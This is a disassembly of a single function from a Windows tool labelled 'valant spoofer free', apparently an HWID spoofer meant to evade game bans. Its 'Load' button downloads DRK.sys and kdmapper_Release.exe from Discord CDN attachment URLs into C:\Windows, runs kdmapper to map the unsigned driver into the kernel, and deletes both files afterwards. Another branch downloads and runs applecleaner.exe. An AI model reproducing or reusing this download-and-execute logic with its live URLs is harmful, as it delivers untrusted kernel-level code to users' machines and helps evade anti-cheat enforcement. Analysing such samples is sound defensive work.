Function at 0x140001000
Capabilities:
Delete file
Download url
Execute command
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
cmp byte [0x1400620d0], 0
je 0x1400019df
mov rcx, qword [0x140062ac0]
lea r8, str.Foreground
movss xmm1, dword [0x1400620c4]
mov edx, 1
movss xmm0, dword [0x1400620c0]
unpcklps xmm0, xmm1
xorps xmm1, xmm1
mov eax, dword [rcx + 0x1dc0]
movsd qword [rcx + 0x1dd4], xmm0
or eax, 1
mov dword [rcx + 0x1dc0], eax
or eax, 0x42
mov dword [rcx + 0x1dc4], 2
mov byte [rcx + 0x1dfc], 1
movaps xmmword [rsp + 0x30], xmm7
xorps xmm7, xmm7
unpcklps xmm1, xmm7
movsd qword [rcx + 0x1ddc], xmm1
movss xmm0, dword [0x1400620c8]
movss xmm1, dword [0x1400620cc]
movss dword [rcx + 0x1de4], xmm0
movss dword [rcx + 0x1de8], xmm1
mov dword [rcx + 0x1dc0], eax
mov dword [rcx + 0x1dc8], 1
mov dword [rcx + 0x1e20], 0x3f800000
mov rcx, qword [rcx + 0x1d18]
mov rcx, qword [rcx + 0x38]
call fcn.1400071d0
mov eax, dword [0x140062b28]
test eax, eax
jne 0x140001608
mov r8d, 0x12a
movaps xmmword [rsp + 0x40], xmm6
lea rdx, [0x1400620d0]
lea rcx, str.valant_spoofer__free
call fcn.14000f580
mov rcx, qword [0x140062ac0]
lea rdx, str.Boxlogin
mov dword [rbp + 0x10], 0x437a0000
mov dword [rbp + 0x14], 0x432f0000
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x14005aa88]
addss xmm2, dword [0x14005aa9c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rcx, qword [rcx + 0x1d18]
call fcn.140006a40
mov edx, eax
lea r8, [rbp + 0x10]
lea rcx, str.Boxlogin
call fcn.14000c430
mov r8, qword [0x140062ac0]
movss xmm6, dword [0x14005ab00]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x1400011fa
movaps xmm1, xmm6
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x10]
call fcn.140014390
mov r8, qword [0x140062ac0]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x140001233
movaps xmm1, xmm6
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x10]
call fcn.140014390
mov r8, qword [0x140062ac0]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14000126c
movaps xmm1, xmm6
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x10]
call fcn.140014390
mov r8, qword [0x140062ac0]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x1400012a5
movaps xmm1, xmm6
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x10]
call fcn.140014390
mov r8, qword [0x140062ac0]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x1400012de
movaps xmm1, xmm6
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x10]
call fcn.140014390
mov r8, qword [0x140062ac0]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x140001317
movaps xmm1, xmm6
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x10]
call fcn.140014390
mov r8, qword [0x140062ac0]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x140001350
movaps xmm1, xmm6
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x10]
call fcn.140014390
mov r8, qword [0x140062ac0]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140014640
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x140001394
movaps xmm1, xmm6
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x10]
call fcn.140014390
mov r8, qword [0x140062ac0]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140014640
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x1400013d8
movaps xmm1, xmm6
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x10]
call fcn.140014390
mov r8, qword [0x140062ac0]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140014640
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14000141c
movaps xmm1, xmm6
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x10]
call fcn.140014390
mov r8, qword [0x140062ac0]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140014640
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x140001460
movaps xmm1, xmm6
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x10]
call fcn.140014390
mov r8, qword [0x140062ac0]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140014640
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x1400014a4
movaps xmm1, xmm6
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x10]
call fcn.140014390
mov r8, qword [0x140062ac0]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140014640
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x1400014e8
movaps xmm1, xmm6
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x10]
call fcn.140014390
mov r8, qword [0x140062ac0]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140014640
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14000152c
movaps xmm1, xmm6
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x10]
call fcn.140014390
mov r8, qword [0x140062ac0]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140014640
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x140001570
movaps xmm1, xmm6
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x10]
call fcn.140014390
mov r8, qword [0x140062ac0]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140014640
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x1400015ad
movaps xmm1, xmm6
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x10]
call fcn.140014390
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140014640
lea rdx, [rbp + 0x10]
mov dword [rbp + 0x10], 0x42960000
lea rcx, str.Initialize
mov dword [rbp + 0x14], 0x41980000
call fcn.140043760
movaps xmm6, xmmword [rsp + 0x40]
test al, al
je 0x1400015f4
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x140062b28], 1
call fcn.14000c630
movaps xmm7, xmmword [rsp + 0x30]
add rsp, 0x50
pop rbp
jmp fcn.1400127d0
cmp eax, 1
jne 0x1400019d5
mov rcx, qword [0x140062ac0]
lea rdx, [0x1400620d0]
movss xmm1, dword [0x1400620c4]
mov r8d, 0x12a
movss xmm0, dword [0x1400620c0]
unpcklps xmm0, xmm1
xorps xmm1, xmm1
mov eax, dword [rcx + 0x1dc0]
movsd qword [rcx + 0x1dd4], xmm0
or eax, 1
mov dword [rcx + 0x1dc0], eax
or eax, 0x42
mov dword [rcx + 0x1dc4], 2
mov byte [rcx + 0x1dfc], 1
unpcklps xmm1, xmm7
movsd qword [rcx + 0x1ddc], xmm1
movss xmm0, dword [0x1400622d8]
movss xmm1, dword [0x1400622dc]
movss dword [rcx + 0x1de4], xmm0
movss dword [rcx + 0x1de8], xmm1
mov dword [rcx + 0x1dc0], eax
mov dword [rcx + 0x1dc8], 1
mov dword [rcx + 0x1e20], 0x3f800000
lea rcx, str.valant_spoofer__free
call fcn.14000f580
mov rcx, qword [0x140062ac0]
lea rdx, str.Box
mov dword [rbp + 0x10], 0x43be0000
mov dword [rbp + 0x14], 0x434a0000
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x14005aa88]
addss xmm2, dword [0x14005aa9c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rcx, qword [rcx + 0x1d18]
call fcn.140006a40
mov edx, eax
lea r8, [rbp + 0x10]
lea rcx, str.Box
call fcn.14000c430
mov rcx, qword [0x140062ac0]
xor edx, edx
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, str.Temp_Spoof__RAND_
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x14005aab0]
addss xmm2, dword [0x14005aab4]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
nop dword [rax]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140001807
inc rcx
inc edx
add rcx, rax
cmp byte [rcx], 0
jne 0x140001800
mov dword [rsp + 0x20], edx
call fcn.1400462a0
call fcn.14000c630
mov rcx, qword [0x140062ac0]
lea rdx, [rbp + 0x10]
mov dword [rbp + 0x10], 0x438c0000
mov dword [rbp + 0x14], 0x41f00000
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, str.Load
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x14005aaa4]
addss xmm2, dword [0x14005aac8]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
call fcn.140043760
test al, al
je 0x1400019d5
mov eax, dword [0x140062b2c]
test eax, eax
jne 0x14000197d
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:Windows
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1208603285788041269_1208605360227614741_DRK.sys_ex65e3e474is65d16f74hmeec027593864361f11a7c1a42a9a6cf2cd338749208d11790918dcf5d4ba147b
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:Windows
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1208603285788041269_1208605433946841088_kdmapper_Release.exe_ex65e3e486is65d16f86hm02628c6944201f05ec0a6b233a040b57d54efd0d557a919d2a0c1758a9c9d49b
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cd_C:Windows__kdmapper_Release.exe_DRK.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsDRK.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Windowskdmapper_Release.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor r9d, r9d
lea r8, str.valant_spoofer__free
lea rdx, str.Done
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [0x140062b2c]
cmp eax, 1
jne 0x1400019d5
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.applecleaner.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1208603285788041269_1208603306880933948_applecleaner.exe_ex65e3e28bis65d16d8bhm3cb1b91f9354dfd82739b2d8676f5498dd87f87cada25c43f203209831b6f87a
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.applecleaner.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r9d, r9d
lea r8, str.valant_spoofer__free
lea rdx, str.Done
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.1400127d0
movaps xmm7, xmmword [rsp + 0x30]
add rsp, 0x50
pop rbp
ret